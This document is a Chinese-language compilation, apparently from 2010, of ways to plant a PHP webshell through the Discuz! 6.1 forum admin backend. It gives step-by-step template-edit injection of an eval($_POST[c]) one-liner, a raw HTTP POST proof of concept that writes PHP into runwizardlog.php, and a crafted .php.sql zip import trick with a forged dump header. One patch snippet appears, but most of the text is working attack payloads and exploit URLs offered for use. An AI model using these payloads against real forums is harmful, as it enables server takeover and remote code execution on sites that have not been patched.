Discuz! 6.1 后台拿webshell
时间:2010-05-15 来源:lsstarboy
编辑模板得到webshell
来源:Safe Code Team
作者:tenzy
用论坛创始人账号登陆后台,
进入【版块】-【模板管理】,
在【默认模板】后面点击【详情】,在【Discuz!语言包】下面点击【actions】后的【编辑】,拉到最后面,在【guest】里面把【游客】修改 为
游客\\\\\\\\');eval($_POST[c]);echo (""//
如图:
点提交后,
http://论坛地址/templates/default/actions.lang.php 为PHP一句话地址。
后台设置插入webshell
来源:陆羽's blog
用论坛创始人账号登陆后台
admincp.php?action=runwizard&frames=yes 点击下一步然后在论坛名称的地方插入webshell
后台webshell地址:bbs/forumdata/logs/runwizardlog.php
密码c
详细说明
来源:www.80vul.com
Discuz! admin\runwizard.inc.php get-webshell bug
author: 80vul-A
team:http://www.80vul.com
由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory()写文件操作没有限制导致执行 代码漏洞.
一 分析
在文件admin\runwizard.inc.php里代码:
- $runwizardhistory = array();
- $runwizardfile = DISCUZ_ROOT.'./forumdata/logs/runwizardlog.php';
- if($fp = @fopen($runwizardfile, 'r')) {
- $runwizardhistory = @unserialize(fread($fp, 99999));
- fclose($fp);
- }
- .......
- if(submitcheck('step1submit')) {
- $runwizardhistory['step1']['size'] = $size;
- $runwizardhistory['step1']['safe'] = $safe;
- $runwizardhistory['step1']['func'] = $func;
- saverunwizardhistory();
- }
- ........
- function saverunwizardhistory() {
- global $runwizardfile, $runwizardhistory;
- $fp = fopen($runwizardfile, 'w');
- fwrite($fp, serialize($runwizardhistory));
- fclose($fp);
- }
上面代码可以看出来当有后台权限时,可以直接得到webshell.如果结合xss[如:SODB-2008-01,SODB-2008-02.. 等] crsf[如:SODB-2008-03]等漏洞,可以直接通过admin身份远程写入webshell执行代码.
二 利用
poc:
- POST /bbs/admincp.php?action=runwizard&step=3 HTTP/1.1
- Host: www.80vul.com
- User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
- Keep-Alive: 300
- Connection: keep-alive
- Referer: http://www.80vul.com/bbs/admincp.php?action=runwizard&step=2
- Cookie:
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 207
- formhash=a1ae055f&anchor=&settingsnew%5Bbbname%5D=%3C%3Fphpinfo%28%29%3B%3F%3E&settingsnew%5Bsitename%5D=Comsenz+Inc.&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%CF%C2%D2%BB%B2%BD
webshell:
http://www.80vul.com/bbs/forumdata/logs/runwizardlog.php
三 补丁[fix]
今天发布的dz7 bt版本[1]已经fix这个漏洞了:
- function saverunwizardhistory() {
- global $runwizardfile, $runwizardhistory;
- $fp = fopen($runwizardfile, 'w');
- $s = '<?php exit;?>';
- $s .= serialize($runwizardhistory);
- fwrite($fp, $s);
- fclose($fp);
- }
[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip
Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得 到webshell.
来源:www.80vul.com
Discuz! admin\database.inc.php get-webshell bug
author: ring04h
team:http://www.80vul.com
[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到 webshell.
一 分析
在文件admin\database.inc.php里代码:
- .....
- elseif($operation == 'importzip') {
- require_once DISCUZ_ROOT.'admin/zip.func.php';
- $unzip = new SimpleUnzip();
- $unzip->ReadFile($datafile_server);
- if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {
- cpmsg('database_import_file_illegal', '', 'error');
- }
- $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256))));
- $confirm = !empty($confirm) ? 1 : 0;
- if(!$confirm && $identify[1] != $version) {
- cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
- }
- $sqlfilecount = 0;
- foreach($unzip->Entries as $entry) {
- if(preg_match("/\.sql$/i", $entry->Name)) {
- $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
- fwrite($fp, $entry->Data);
- fclose($fp);
- $sqlfilecount++;
- }
- }
- ......
注意2点
1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]
# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
# <?phpinfo();?>
# <?exit();?>
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: 2008-11-27 11:38
# Type: discuz
# Table Prefix: cdb_
二 利用
用论坛创始人账号登陆后台
提交:
<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip& importsubmit=yes=6.1 :admincp.php?action=database&operation=importzip& datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes